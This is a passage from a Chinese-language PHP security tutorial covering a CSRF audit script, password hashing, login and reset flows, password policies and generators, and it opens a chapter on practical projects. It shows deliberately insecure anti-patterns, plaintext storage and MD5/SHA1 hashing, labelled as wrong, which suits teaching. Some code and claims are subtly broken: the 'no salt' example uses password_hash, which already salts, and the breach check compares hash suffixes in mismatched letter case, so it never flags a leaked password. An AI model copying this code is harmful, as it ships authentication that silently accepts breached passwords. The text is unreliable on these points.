            'passed' => ($config['secure'] ?? false) &&
                      ($config['httponly'] ?? false) &&
                      in_array($config['samesite'] ?? '', ['Lax', 'Strict'])
        ];
    }

    private function checkCsrfImplementation() {
        // 检查是否有CSRF保护类
        $hasCsrfClass = class_exists('CsrfGuard') || class_exists('CsrfProtection');

        return [
            'has_csrf_class' => $hasCsrfClass,
            'passed' => $hasCsrfClass
        ];
    }

    private function checkForms() {
        $forms = glob('*.php');
        $vulnerableForms = [];

        foreach ($forms as $file) {
            $content = file_get_contents($file);

            // 查找POST表单
            if (preg_match_all('/<form[^>]*method=["\']post["\'][^>]*>/i', $content, $matches)) {
                foreach ($matches[0] as $form) {
                    if (!preg_match('/csrf|token/i', $form)) {
                        $vulnerableForms[] = $file;
                        break;
                    }
                }
            }
        }

        return [
            'total_forms' => count($forms),
            'vulnerable_forms' => $vulnerableForms,
            'passed' => empty($vulnerableForms)
        ];
    }

    private function saveReport($report) {
        $logEntry = json_encode($report) . "\n";
        file_put_contents($this->reportFile, $logEntry, FILE_APPEND);
    }
}

// 定期运行审计
$schedule = new CsrfAuditor();
$report = $schedule->audit();

// 发送告警(如果有问题)
if (!$report['checks']['session']['passed'] ||
    !$report['checks']['csrf_tokens']['passed'] ||
    !$report['checks']['forms']['passed']) {
    // 发送邮件或通知管理员
    error_log('CSRF保护审计发现问题!');
}
?>

通过实施这些CSRF防护措施,你可以大大提高Web应用程序的安全性,防止跨站请求伪造攻击。记住,安全是一个多层次的过程,需要结合多种防护手段。

密码安全

密码安全的重要性

密码是保护用户账户安全的第一道防线。不安全的密码存储和处理可能导致:

  1. 数据泄露:用户密码被窃取
  2. 账户被盗:攻击者使用窃取的密码登录用户账户
  3. 连锁攻击:用户在多个网站使用相同密码,导致其他账户也被盗
  4. 信任危机:影响用户对网站的信任

常见的密码安全错误

1. 明文存储密码

<?php
// 错误的做法 - 明文存储密码
class BadPasswordStorage {
    public function registerUser($username, $password) {
        // 直接存储明文密码
        $sql = "INSERT INTO users (username, password) VALUES (?, ?)";
        $stmt = $pdo->prepare($sql);
        $stmt->execute([$username, $password]);
    }

    public function login($username, $password) {
        $sql = "SELECT * FROM users WHERE username = ? AND password = ?";
        $stmt = $pdo->prepare($sql);
        $stmt->execute([$username, $password]);
        return $stmt->fetch();
    }
}
?>

2. 使用弱哈希算法

<?php
// 错误的做法 - 使用MD5或SHA1
class WeakHashing {
    public function hashPassword($password) {
        // MD5已被破解,不应使用
        return md5($password);
    }

    public function hashPasswordSHA1($password) {
        // SHA1也不安全
        return sha1($password);
    }
}
?>

3. 不使用盐值

<?php
// 错误的做法 - 不使用盐值
class NoSalt {
    public function hashPassword($password) {
        // 相同的密码总是产生相同的哈希值
        return password_hash($password, PASSWORD_DEFAULT);
    }
}
?>

密码哈希最佳实践

1. 使用现代哈希算法

PHP提供了内置的密码哈希函数,推荐使用:

<?php
class SecurePassword {
    // 哈希密码
    public function hashPassword($password) {
        // 使用PASSWORD_DEFAULT(目前是BCRYPT)
        return password_hash($password, PASSWORD_DEFAULT);
    }

    // 验证密码
    public function verifyPassword($password, $hash) {
        return password_verify($password, $hash);
    }

    // 检查密码是否需要重新哈希
    public function needsRehash($hash) {
        return password_needs_rehash($hash, PASSWORD_DEFAULT);
    }

    // 完整的密码验证流程
    public function validateAndUpdatePassword($userId, $password) {
        // 从数据库获取用户
        $user = $this->getUserById($userId);
        if (!$user) {
            return false;
        }

        // 验证密码
        if (!password_verify($password, $user['password_hash'])) {
            return false;
        }

        // 检查是否需要重新哈希
        if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
            // 生成新的哈希
            $newHash = password_hash($password, PASSWORD_DEFAULT);

            // 更新数据库
            $this->updatePasswordHash($userId, $newHash);
        }

        return true;
    }
}
?>

2. 自定义密码哈希类

<?php
class PasswordManager {
    private $algorithm = PASSWORD_ARGON2ID;
    private $options;

    public function __construct() {
        // 配置哈希选项
        $this->options = [
            'memory_cost' => 1 << 17,      // 128MB
            'time_cost'   => 4,            // 4次迭代
            'threads'     => 3,            // 3个线程
            'cost'        => 12            // BCYPT成本因子(如果使用BCRYPT)
        ];
    }

    // 生成密码哈希
    public function hashPassword($password) {
        return password_hash($password, $this->algorithm, $this->options);
    }

    // 验证密码
    public function verifyPassword($password, $hash) {
        return password_verify($password, $hash);
    }

    // 生成随机密码
    public function generateRandomPassword($length = 12) {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';
        $password = '';

        for ($i = 0; $i < $length; $i++) {
            $password .= $chars[random_int(0, strlen($chars) - 1)];
        }

        return $password;
    }

    // 验证密码强度
    public function validatePasswordStrength($password) {
        $errors = [];

        // 长度检查
        if (strlen($password) < 8) {
            $errors[] = "密码长度至少8个字符";
        }

        // 复杂度检查
        if (!preg_match('/[A-Z]/', $password)) {
            $errors[] = "密码必须包含大写字母";
        }

        if (!preg_match('/[a-z]/', $password)) {
            $errors[] = "密码必须包含小写字母";
        }

        if (!preg_match('/[0-9]/', $password)) {
            $errors[] = "密码必须包含数字";
        }

        if (!preg_match('/[!@#$%^&*(),.?":{}|<>]/', $password)) {
            $errors[] = "密码必须包含特殊字符";
        }

        // 常见弱密码检查
        $weakPasswords = ['password', '123456', 'qwerty', 'admin', 'letmein'];
        if (in_array(strtolower($password), $weakPasswords)) {
            $errors[] = "不能使用常见密码";
        }

        return $errors;
    }

    // 检查密码是否在泄露数据库中
    public function checkPasswordBreach($password) {
        // 使用haveibeenpwned API检查密码是否泄露
        $sha1 = sha1($password);
        $prefix = substr($sha1, 0, 5);
        $suffix = substr($sha1, 5);

        $url = "https://api.pwnedpasswords.com/range/$prefix";

        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_USERAGENT => 'Password Checker',
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_TIMEOUT => 10
        ]);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($httpCode === 200) {
            $lines = explode("\r\n", $response);
            foreach ($lines as $line) {
                list($hashSuffix, $count) = explode(':', $line);
                if (strtoupper($hashSuffix) === $suffix) {
                    return (int)$count; // 返回泄露次数
                }
            }
        }

        return 0; // 未找到泄露记录
    }

    // 创建密码重置令牌
    public function createPasswordResetToken($userId) {
        $token = bin2hex(random_bytes(32));
        $expires = time() + 3600; // 1小时后过期

        // 存储到数据库
        $sql = "INSERT INTO password_resets (user_id, token, expires) VALUES (?, ?, ?)";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$userId, $token, $expires]);

        return $token;
    }

    // 验证密码重置令牌
    public function validatePasswordResetToken($token) {
        $sql = "SELECT user_id, expires FROM password_resets WHERE token = ? AND used = 0";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$token]);
        $result = $stmt->fetch();

        if (!$result) {
            return false;
        }

        // 检查是否过期
        if (time() > $result['expires']) {
            return false;
        }

        return $result['user_id'];
    }

    // 清理过期的重置令牌
    public function cleanupExpiredTokens() {
        $sql = "DELETE FROM password_resets WHERE expires < ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([time()]);
    }
}
?>

用户注册和登录实现

完整的用户认证系统

<?php
class UserAuthentication {
    private $db;
    private $passwordManager;
    private $maxLoginAttempts = 5;
    private $lockoutTime = 900; // 15分钟

    public function __construct($database) {
        $this->db = $database;
        $this->passwordManager = new PasswordManager();
    }

    // 用户注册
    public function register($userData) {
        try {
            // 验证输入数据
            $this->validateRegistrationData($userData);

            // 检查用户是否已存在
            if ($this->userExists($userData['email'])) {
                throw new Exception('该邮箱已被注册');
            }

            // 验证密码强度
            $strengthErrors = $this->passwordManager->validatePasswordStrength($userData['password']);
            if (!empty($strengthErrors)) {
                throw new Exception(implode(', ', $strengthErrors));
            }

            // 检查密码是否泄露
            $breachCount = $this->passwordManager->checkPasswordBreach($userData['password']);
            if ($breachCount > 0) {
                throw new Exception("此密码已被泄露{$breachCount}次,请使用其他密码");
            }

            // 生成密码哈希
            $passwordHash = $this->passwordManager->hashPassword($userData['password']);

            // 创建用户
            $userId = $this->createUser([
                'username' => $userData['username'],
                'email' => $userData['email'],
                'password_hash' => $passwordHash,
                'created_at' => date('Y-m-d H:i:s'),
                'status' => 'active'
            ]);

            // 发送欢迎邮件
            $this->sendWelcomeEmail($userData['email'], $userData['username']);

            return $userId;

        } catch (Exception $e) {
            error_log("注册失败: " . $e->getMessage());
            throw $e;
        }
    }

    // 用户登录
    public function login($email, $password, $remember = false) {
        try {
            // 检查账户锁定状态
            if ($this->isAccountLocked($email)) {
                throw new Exception('账户已被锁定,请稍后再试');
            }

            // 获取用户
            $user = $this->getUserByEmail($email);
            if (!$user) {
                $this->recordFailedLogin($email);
                throw new Exception('邮箱或密码错误');
            }

            // 验证密码
            if (!$this->passwordManager->verifyPassword($password, $user['password_hash'])) {
                $this->recordFailedLogin($email);
                throw new Exception('邮箱或密码错误');
            }

            // 检查账户状态
            if ($user['status'] !== 'active') {
                throw new Exception('账户未激活或已被禁用');
            }

            // 检查是否需要重新哈希密码
            if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
                $newHash = $this->passwordManager->hashPassword($password);
                $this->updatePasswordHash($user['id'], $newHash);
            }

            // 清除失败登录记录
            $this->clearFailedLogins($email);

            // 创建会话
            $sessionId = $this->createSession($user['id'], $remember);

            // 记录成功登录
            $this->recordSuccessfulLogin($user['id']);

            return [
                'user_id' => $user['id'],
                'session_id' => $sessionId,
                'user' => [
                    'id' => $user['id'],
                    'username' => $user['username'],
                    'email' => $user['email']
                ]
            ];

        } catch (Exception $e) {
            error_log("登录失败 [{$email}]: " . $e->getMessage());
            throw $e;
        }
    }

    // 修改密码
    public function changePassword($userId, $currentPassword, $newPassword) {
        try {
            // 获取用户
            $user = $this->getUserById($userId);
            if (!$user) {
                throw new Exception('用户不存在');
            }

            // 验证当前密码
            if (!$this->passwordManager->verifyPassword($currentPassword, $user['password_hash'])) {
                throw new Exception('当前密码错误');
            }

            // 验证新密码强度
            $strengthErrors = $this->passwordManager->validatePasswordStrength($newPassword);
            if (!empty($strengthErrors)) {
                throw new Exception(implode(', ', $strengthErrors));
            }

            // 检查新密码是否泄露
            $breachCount = $this->passwordManager->checkPasswordBreach($newPassword);
            if ($breachCount > 0) {
                throw new Exception("此密码已被泄露{$breachCount}次,请使用其他密码");
            }

            // 检查新密码不能与最近3次密码相同
            if ($this->isPasswordReused($userId, $newPassword)) {
                throw new Exception('新密码不能与最近3次使用的密码相同');
            }

            // 生成新密码哈希
            $newHash = $this->passwordManager->hashPassword($newPassword);

            // 保存旧密码到历史记录
            $this->savePasswordHistory($userId, $user['password_hash']);

            // 更新密码
            $this->updatePasswordHash($userId, $newHash);

            // 使所有其他会话失效
            $this->invalidateAllSessions($userId);

            // 发送密码修改通知
            $this->sendPasswordChangeNotification($user['email']);

            return true;

        } catch (Exception $e) {
            error_log("修改密码失败 [用户ID: {$userId}]: " . $e->getMessage());
            throw $e;
        }
    }

    // 密码重置
    public function requestPasswordReset($email) {
        try {
            $user = $this->getUserByEmail($email);
            if (!$user) {
                // 为了安全,即使用户不存在也返回成功
                return true;
            }

            // 生成重置令牌
            $token = $this->passwordManager->createPasswordResetToken($user['id']);

            // 发送重置邮件
            $this->sendPasswordResetEmail($email, $token);

            return true;

        } catch (Exception $e) {
            error_log("请求密码重置失败 [{$email}]: " . $e->getMessage());
            throw $e;
        }
    }

    // 执行密码重置
    public function resetPassword($token, $newPassword) {
        try {
            // 验证令牌
            $userId = $this->passwordManager->validatePasswordResetToken($token);
            if (!$userId) {
                throw new Exception('重置令牌无效或已过期');
            }

            // 验证新密码强度
            $strengthErrors = $this->passwordManager->validatePasswordStrength($newPassword);
            if (!empty($strengthErrors)) {
                throw new Exception(implode(', ', $strengthErrors));
            }

            // 检查密码是否泄露
            $breachCount = $this->passwordManager->checkPasswordBreach($newPassword);
            if ($breachCount > 0) {
                throw new Exception("此密码已被泄露{$breachCount}次,请使用其他密码");
            }

            // 生成新密码哈希
            $newHash = $this->passwordManager->hashPassword($newPassword);

            // 更新密码
            $this->updatePasswordHash($userId, $newHash);

            // 标记令牌为已使用
            $this->markTokenAsUsed($token);

            // 使所有会话失效
            $this->invalidateAllSessions($userId);

            // 发送密码重置通知
            $user = $this->getUserById($userId);
            $this->sendPasswordResetNotification($user['email']);

            return true;

        } catch (Exception $e) {
            error_log("密码重置失败: " . $e->getMessage());
            throw $e;
        }
    }

    // 辅助方法
    private function validateRegistrationData($userData) {
        $required = ['username', 'email', 'password', 'password_confirm'];
        foreach ($required as $field) {
            if (empty($userData[$field])) {
                throw new Exception("字段 {$field} 是必填的");
            }
        }

        if ($userData['password'] !== $userData['password_confirm']) {
            throw new Exception('两次输入的密码不一致');
        }

        if (!filter_var($userData['email'], FILTER_VALIDATE_EMAIL)) {
            throw new Exception('邮箱格式不正确');
        }

        if (strlen($userData['username']) < 3 || strlen($userData['username']) > 50) {
            throw new Exception('用户名长度必须在3-50字符之间');
        }
    }

    private function userExists($email) {
        $sql = "SELECT id FROM users WHERE email = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$email]);
        return $stmt->fetch() !== false;
    }

    private function isAccountLocked($email) {
        $sql = "SELECT COUNT(*) as attempts FROM login_attempts
                WHERE email = ? AND created_at > ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$email, time() - $this->lockoutTime]);
        $result = $stmt->fetch();

        return $result['attempts'] >= $this->maxLoginAttempts;
    }

    private function recordFailedLogin($email) {
        $sql = "INSERT INTO login_attempts (email, ip_address, created_at) VALUES (?, ?, ?)";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$email, $_SERVER['REMOTE_ADDR'], time()]);
    }

    private function clearFailedLogins($email) {
        $sql = "DELETE FROM login_attempts WHERE email = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$email]);
    }

    private function createSession($userId, $remember = false) {
        $sessionId = bin2hex(random_bytes(32));
        $expires = $remember ? time() + 2592000 : time() + 3600; // 30天或1小时

        $sql = "INSERT INTO user_sessions (session_id, user_id, expires, created_at)
                VALUES (?, ?, ?, ?)";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$sessionId, $userId, $expires, time()]);

        // 设置Cookie
        setcookie('session_id', $sessionId, $expires, '/', '', true, true);

        return $sessionId;
    }

    // 其他辅助方法...
    private function createUser($data) { /* 实现 */ }
    private function getUserByEmail($email) { /* 实现 */ }
    private function getUserById($id) { /* 实现 */ }
    private function updatePasswordHash($userId, $hash) { /* 实现 */ }
    private function sendWelcomeEmail($email, $username) { /* 实现 */ }
    private function sendPasswordResetEmail($email, $token) { /* 实现 */ }
    private function recordSuccessfulLogin($userId) { /* 实现 */ }
    private function isPasswordReused($userId, $password) { /* 实现 */ }
    private function savePasswordHistory($userId, $hash) { /* 实现 */ }
    private function invalidateAllSessions($userId) { /* 实现 */ }
    private function sendPasswordChangeNotification($email) { /* 实现 */ }
    private function sendPasswordResetNotification($email) { /* 实现 */ }
    private function markTokenAsUsed($token) { /* 实现 */ }
}
?>

密码策略实施

1. 密码策略配置类

<?php
class PasswordPolicy {
    private $config;

    public function __construct($config = []) {
        $this->config = array_merge([
            'min_length' => 8,
            'max_length' => 128,
            'require_uppercase' => true,
            'require_lowercase' => true,
            'require_numbers' => true,
            'require_special' => true,
            'forbidden_patterns' => [],
            'forbidden_passwords' => [],
            'max_age_days' => 90,
            'history_count' => 5,
            'max_attempts' => 3,
            'lockout_minutes' => 30
        ], $config);
    }

    // 验证密码是否符合策略
    public function validate($password, $userData = []) {
        $errors = [];

        // 长度检查
        if (strlen($password) < $this->config['min_length']) {
            $errors[] = "密码长度不能少于 {$this->config['min_length']} 个字符";
        }

        if (strlen($password) > $this->config['max_length']) {
            $errors[] = "密码长度不能超过 {$this->config['max_length']} 个字符";
        }

        // 字符类型检查
        if ($this->config['require_uppercase'] && !preg_match('/[A-Z]/', $password)) {
            $errors[] = "密码必须包含大写字母";
        }

        if ($this->config['require_lowercase'] && !preg_match('/[a-z]/', $password)) {
            $errors[] = "密码必须包含小写字母";
        }

        if ($this->config['require_numbers'] && !preg_match('/[0-9]/', $password)) {
            $errors[] = "密码必须包含数字";
        }

        if ($this->config['require_special'] && !preg_match('/[!@#$%^&*(),.?":{}|<>]/', $password)) {
            $errors[] = "密码必须包含特殊字符";
        }

        // 禁用模式检查
        foreach ($this->config['forbidden_patterns'] as $pattern) {
            if (preg_match($pattern, $password)) {
                $errors[] = "密码包含不允许的模式";
                break;
            }
        }

        // 常见弱密码检查
        if (in_array(strtolower($password), $this->config['forbidden_passwords'])) {
            $errors[] = "不能使用常见弱密码";
        }

        // 包含用户信息检查
        if (!empty($userData)) {
            if (isset($userData['username']) && stripos($password, $userData['username']) !== false) {
                $errors[] = "密码不能包含用户名";
            }

            if (isset($userData['email']) && stripos($password, explode('@', $userData['email'])[0]) !== false) {
                $errors[] = "密码不能包含邮箱前缀";
            }

            if (isset($userData['first_name']) && stripos($password, $userData['first_name']) !== false) {
                $errors[] = "密码不能包含姓名";
            }

            if (isset($userData['last_name']) && stripos($password, $userData['last_name']) !== false) {
                $errors[] = "密码不能包含姓氏";
            }
        }

        // 序列字符检查
        if ($this->hasSequentialChars($password)) {
            $errors[] = "密码不能包含连续字符(如123、abc)";
        }

        // 重复字符检查
        if ($this->hasRepeatingChars($password)) {
            $errors[] = "密码不能包含过多重复字符";
        }

        return $errors;
    }

    // 检查连续字符
    private function hasSequentialChars($password) {
        $length = strlen($password);
        for ($i = 0; $i < $length - 2; $i++) {
            $char1 = ord(strtolower($password[$i]));
            $char2 = ord(strtolower($password[$i + 1]));
            $char3 = ord(strtolower($password[$i + 2]));

            // 检查连续递增(如abc, 123)
            if ($char2 == $char1 + 1 && $char3 == $char2 + 1) {
                return true;
            }

            // 检查连续递减(如cba, 321)
            if ($char2 == $char1 - 1 && $char3 == $char2 - 1) {
                return true;
            }
        }
        return false;
    }

    // 检查重复字符
    private function hasRepeatingChars($password) {
        // 检查是否有超过3个相同字符连续出现
        if (preg_match('/(.)\1{3,}/', $password)) {
            return true;
        }

        // 检查重复模式
        $patterns = [
            '/(.)\1\1\1/', // 4个相同字符
            '/(..)\1/',    // 2个字符重复2次
            '/(...)\1/'   // 3个字符重复2次
        ];

        foreach ($patterns as $pattern) {
            if (preg_match($pattern, $password)) {
                return true;
            }
        }

        return false;
    }

    // 生成密码强度评分
    public function getStrengthScore($password) {
        $score = 0;

        // 长度评分
        $length = strlen($password);
        if ($length >= 8) $score += 10;
        if ($length >= 12) $score += 10;
        if ($length >= 16) $score += 10;

        // 字符类型评分
        if (preg_match('/[a-z]/', $password)) $score += 10;
        if (preg_match('/[A-Z]/', $password)) $score += 10;
        if (preg_match('/[0-9]/', $password)) $score += 10;
        if (preg_match('/[!@#$%^&*(),.?":{}|<>]/', $password)) $score += 10;

        // 复杂度评分
        if (preg_match('/[a-z].*[A-Z]|[A-Z].*[a-z]/', $password)) $score += 10;
        if (preg_match('/[a-zA-Z].*[0-9]|[0-9].*[a-zA-Z]/', $password)) $score += 10;
        if (preg_match('/[a-zA-Z0-9].*[!@#$%^&*(),.?":{}|<>]|[!@#$%^&*(),.?":{}|<>].*[a-zA-Z0-9]/', $password)) $score += 10;

        // 扣分项
        if ($this->hasSequentialChars($password)) $score -= 10;
        if ($this->hasRepeatingChars($password)) $score -= 10;

        return max(0, min(100, $score));
    }

    // 获取密码强度等级
    public function getStrengthLevel($password) {
        $score = $this->getStrengthScore($password);

        if ($score < 30) return 'Weak';
        if ($score < 60) return 'Fair';
        if ($score < 80) return 'Good';
        return 'Strong';
    }
}
?>

2. 密码过期提醒

<?php
class PasswordExpirationManager {
    private $db;
    private $warningDays = 7;
    private $graceLogins = 3;

    public function __construct($database) {
        $this->db = $database;
    }

    // 检查密码是否即将过期
    public function checkPasswordExpiration($userId) {
        $sql = "SELECT password_changed_at, grace_logins_used
                FROM users WHERE id = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$userId]);
        $user = $stmt->fetch();

        if (!$user) {
            return null;
        }

        $passwordAge = time() - strtotime($user['password_changed_at']);
        $maxAge = 90 * 24 * 60 * 60; // 90天
        $remainingDays = ceil(($maxAge - $passwordAge) / (24 * 60 * 60));

        if ($remainingDays <= 0) {
            return [
                'expired' => true,
                'grace_logins_remaining' => $this->graceLogins - $user['grace_logins_used']
            ];
        }

        if ($remainingDays <= $this->warningDays) {
            return [
                'expiring_soon' => true,
                'days_remaining' => $remainingDays
            ];
        }

        return [
            'valid' => true,
            'days_remaining' => $remainingDays
        ];
    }

    // 发送密码过期提醒
    public function sendExpirationReminders() {
        // 查找7天内密码过期的用户
        $sql = "SELECT id, email, username
                FROM users
                WHERE password_changed_at < DATE_SUB(NOW(), INTERVAL 83 DAY)
                AND password_changed_at > DATE_SUB(NOW(), INTERVAL 90 DAY)
                AND status = 'active'";

        $stmt = $this->db->query($sql);
        $users = $stmt->fetchAll();

        foreach ($users as $user) {
            $this->sendExpirationEmail($user);
        }
    }

    // 强制密码修改
    public function requirePasswordChange($userId) {
        $status = $this->checkPasswordExpiration($userId);

        if ($status['expired'] ?? false) {
            if ($status['grace_logins_remaining'] <= 0) {
                // 锁定账户
                $this->lockAccountForPassword($userId);
                return ['locked' => true];
            } else {
                return ['force_change' => true, 'grace_logins' => $status['grace_logins_remaining']];
            }
        }

        return [];
    }

    // 使用宽限登录
    public function useGraceLogin($userId) {
        $sql = "UPDATE users SET grace_logins_used = grace_logins_used + 1
                WHERE id = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$userId]);
    }

    private function sendExpirationEmail($user) {
        $subject = "密码即将过期提醒";
        $message = "亲爱的 {$user['username']},\n\n";
        $message .= "您的密码将在7天后过期,请及时修改密码以确保账户安全。\n\n";
        $message .= "如需帮助,请联系客服。\n\n";
        $message .= "此邮件由系统自动发送,请勿回复。";

        // 实际应用中应使用邮件发送库
        // mail($user['email'], $subject, $message);
    }

    private function lockAccountForPassword($userId) {
        $sql = "UPDATE users SET status = 'locked' WHERE id = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$userId]);
    }
}
?>

密码安全工具

1. 密码生成器

<?php
class PasswordGenerator {
    private $lowercase = 'abcdefghijklmnopqrstuvwxyz';
    private $uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    private $numbers = '0123456789';
    private $symbols = '!@#$%^&*()_+-=[]{}|;:,.<>?';
    private $ambiguous = 'ilLo0O1';

    public function generate($length = 12, $options = []) {
        $defaults = [
            'include_uppercase' => true,
            'include_lowercase' => true,
            'include_numbers' => true,
            'include_symbols' => true,
            'exclude_ambiguous' => false,
            'exclude_similar' => false
        ];

        $options = array_merge($defaults, $options);

        $chars = '';
        if ($options['include_lowercase']) {
            $chars .= $this->lowercase;
        }
        if ($options['include_uppercase']) {
            $chars .= $this->uppercase;
        }
        if ($options['include_numbers']) {
            $chars .= $this->numbers;
        }
        if ($options['include_symbols']) {
            $chars .= $this->symbols;
        }

        if ($options['exclude_ambiguous']) {
            $chars = str_replace(str_split($this->ambiguous), '', $chars);
        }

        if ($options['exclude_similar']) {
            $chars = str_replace(['l', '1', 'I', 'o', '0', 'O'], '', $chars);
        }

        if (empty($chars)) {
            throw new Exception('没有可用的字符生成密码');
        }

        $password = '';
        for ($i = 0; $i < $length; $i++) {
            $password .= $chars[random_int(0, strlen($chars) - 1)];
        }

        return $password;
    }

    // 生成符合特定强度的密码
    public function generateStrong($minLength = 12) {
        $length = max($minLength, 16);

        // 确保包含所有类型的字符
        $password = '';
        $password .= $this->lowercase[random_int(0, strlen($this->lowercase) - 1)];
        $password .= $this->uppercase[random_int(0, strlen($this->uppercase) - 1)];
        $password .= $this->numbers[random_int(0, strlen($this->numbers) - 1)];
        $password .= $this->symbols[random_int(0, strlen($this->symbols) - 1)];

        // 填充剩余长度
        for ($i = 4; $i < $length; $i++) {
            $allChars = $this->lowercase . $this->uppercase . $this->numbers . $this->symbols;
            $password .= $allChars[random_int(0, strlen($allChars) - 1)];
        }

        return str_shuffle($password);
    }

    // 生成易于记忆的密码(密码短语)
    public function generatePassphrase($wordCount = 4, $separator = '-', $capitalize = true) {
        $words = [
            'apple', 'banana', 'coffee', 'dragon', 'elephant', 'flower', 'guitar', 'honey',
            'island', 'jungle', 'kitten', 'lemon', 'mountain', 'nature', 'ocean', 'piano',
            'queen', 'river', 'sunset', 'tiger', 'umbrella', 'village', 'window', 'yellow'
        ];

        $selectedWords = [];
        for ($i = 0; $i < $wordCount; $i++) {
            $selectedWords[] = $words[random_int(0, count($words) - 1)];
        }

        $passphrase = implode($separator, $selectedWords);

        if ($capitalize) {
            $passphrase = ucwords($passphrase);
        }

        // 添加数字和符号增强安全性
        $passphrase .= random_int(10, 99) . '!';

        return $passphrase;
    }
}
?>

2. 密码安全检查工具

<?php
class PasswordSecurityChecker {
    // 检查密码是否在常见密码列表中
    public function isCommonPassword($password) {
        $commonPasswords = file('common_passwords.txt', FILE_IGNORE_NEW_LINES);
        return in_array(strtolower($password), array_map('strtolower', $commonPasswords));
    }

    // 检查密码是否泄露(使用本地数据库)
    public function checkLocalBreach($password) {
        $hash = sha1($password);
        $prefix = substr($hash, 0, 2);

        // 查找本地数据库
        $filename = "password_breaches/{$prefix}_hashes.txt";
        if (file_exists($filename)) {
            $hashes = file($filename, FILE_IGNORE_NEW_LINES);
            foreach ($hashes as $line) {
                list($hashSuffix, $count) = explode(':', $line);
                if ($hashSuffix === substr($hash, 2)) {
                    return (int)$count;
                }
            }
        }

        return 0;
    }

    // 检查密码模式
    public function checkPatterns($password) {
        $patterns = [
            'keyboard_sequence' => $this->isKeyboardSequence($password),
            'repeating_chars' => $this->hasRepeatingPattern($password),
            'date_pattern' => $this->containsDate($password),
            'phone_pattern' => $this->containsPhone($password)
        ];

        return $patterns;
    }

    private function isKeyboardSequence($password) {
        $sequences = [
            'qwertyuiop', 'asdfghjkl', 'zxcvbnm',
            'qwertyuiop', 'asdfghjkl', 'zxcvbnm',
            '1234567890', '0987654321',
            'abcdefghijklmnopqrstuvwxyz',
            'zyxwvutsrqponmlkjihgfedcba'
        ];

        $lowerPassword = strtolower($password);
        foreach ($sequences as $seq) {
            if (strpos($lowerPassword, $seq) !== false) {
                return true;
            }
        }

        return false;
    }

    private function hasRepeatingPattern($password) {
        return preg_match('/(.)\1{2,}/', $password) === 1;
    }

    private function containsDate($password) {
        // 检查常见的日期格式
        $patterns = [
            '/\d{4}[-\/]\d{1,2}[-\/]\d{1,2}/', // YYYY-MM-DD
            '/\d{1,2}[-\/]\d{1,2}[-\/]\d{4}/', // MM-DD-YYYY
            '/\d{2}\d{2}\d{4}/',            // MMDDYYYY
        ];

        foreach ($patterns as $pattern) {
            if (preg_match($pattern, $password)) {
                return true;
            }
        }

        return false;
    }

    private function containsPhone($password) {
        // 检查电话号码模式
        return preg_match('/\d{10,11}/', $password) === 1;
    }
}
?>

最佳实践总结

1. 密码存储原则

<?php
// 永远不要这样做
$hash = md5($password);

// 正确的做法
$hash = password_hash($password, PASSWORD_ARGON2ID);
?>

2. 密码传输安全

<?php
// 强制使用HTTPS
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
    $redirectUrl = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    header('Location: ' . $redirectUrl);
    exit;
}

// 设置安全Cookie
setcookie('auth_token', $token, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => '',
    'secure' => true,     // 仅HTTPS
    'httponly' => true,   // 禁止JavaScript访问
    'samesite' => 'Strict' // 防止CSRF
]);
?>

3. 完整的密码管理流程

<?php
class PasswordLifecycle {
    // 1. 创建强密码
    public function createStrongPassword() {
        $generator = new PasswordGenerator();
        return $generator->generateStrong();
    }

    // 2. 安全存储
    public function storePassword($password) {
        return password_hash($password, PASSWORD_ARGON2ID);
    }

    // 3. 验证登录
    public function authenticate($password, $hash) {
        if (!password_verify($password, $hash)) {
            return false;
        }

        // 检查是否需要更新哈希
        if (password_needs_rehash($hash, PASSWORD_ARGON2ID)) {
            $newHash = password_hash($password, PASSWORD_ARGON2ID);
            // 更新数据库中的哈希
            $this->updatePasswordHash($newHash);
        }

        return true;
    }

    // 4. 定期更换
    public function shouldChangePassword($lastChanged) {
        $maxAge = 90 * 24 * 60 * 60; // 90天
        return (time() - $lastChanged) > $maxAge;
    }
}
?>

通过实施这些密码安全措施,你可以大大提高用户账户的安全性,保护用户数据免受攻击。记住,密码安全是一个持续的过程,需要定期审查和更新安全策略。

第16章:实战项目

恭喜你!通过前面15章的学习,你已经掌握了PHP编程的基础知识和核心技能。现在,是时候将这些知识运用到实际项目中了。本章将带你完成几个完整的实战项目,让你在实践中巩固所学知识,体验真实的开发流程。

学习目标

完成本章后,你将能够:

  • 独立规划和设计一个完整的PHP项目
  • 综合运用前面所学的所有知识点
  • 掌握项目开发的完整流程
  • 学会解决实际开发中的问题
  • 建立自己的项目作品集
  • 具备初级PHP开发工程师的能力

本章目录

为什么实战项目如此重要?

1. 知识整合与深化

理论学习的最终目的是应用。通过实战项目,你将:

  • 整合知识点:将零散的知识点串联成完整的解决方案
  • 深化理解:在实践中发现理论的深层含义
  • 巩固记忆:通过实际应用加深对概念的记忆

2. 实际技能培养

真实项目开发需要的不仅仅是编程技能:

  • 问题解决能力:面对实际需求,分析问题并找到解决方案
  • 项目管理:合理规划开发进度和资源分配
  • 代码组织:编写结构清晰、易于维护的代码
  • 调试技能:快速定位和修复代码中的问题

3. 就业准备

拥有实际项目经验是求职的重要优势:

